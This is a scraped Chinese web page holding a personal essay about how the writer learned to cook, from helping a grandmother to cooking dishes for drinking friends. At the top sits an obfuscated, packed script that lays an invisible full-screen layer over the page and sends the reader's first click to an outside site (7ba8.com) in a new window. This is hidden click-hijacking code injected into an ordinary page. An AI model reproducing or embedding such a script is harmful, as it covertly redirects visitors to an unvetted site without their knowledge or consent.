<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我小时候住在奶奶家。奶奶每次做菜， 我就围在她身边捣乱。她也不说我， 然后就让我帮她把鸡毛， 挂鱼鳞啊， 我当时觉得最好玩儿的是翻鸡胗。我小姑在当地一家规模不大的国营饭店当会计， 那时还没有个体饭店。她偶尔也去厨房自己炒几个菜。我经常被带去改善伙食， 自然也就有机会见到厨师做菜的过程。
上高中时， 我学会了喝白酒。常常跑到一个单亲同学家里偷酒喝。那时喝酒也没什么菜， 一块钱五香花生米， 两块钱香肠就已经很丰盛了。喝着喝着就觉得总是这么两个菜不太过瘾。特别是喝酒的人多的时候。于是就开始从做摊黄菜（摊鸡蛋饼）开始练起， 逐渐的发展到红烧鸡， 红烧猪肉等等。后来参加工作后，自己有了自己房子， 那自己做菜更是每次哥几个喝酒的必修课。 什么溜三样， 溜肝尖儿， 爆肚丝儿， 凉拌大拉皮而， 锅包肉， 油浸鱼，干烧虾，蚂蚁上树， 麻婆豆腐，水煮牛肉， 水煮鱼，京酱肉丝， 溜肥肠儿等等。。。。全都学会了。由于经常在朝鲜族饭店喝酒， 又把很多朝鲜族凉拌菜和烧烤的做法也学来了。。。
总结一下， 自己之所学会这么多做法， 主要是自己贪吃贪喝。又没钱在外面消费， 被逼无奈不得不自己动手， 不过最大的好处是练就了自己一手做菜的功夫。。。 |
收藏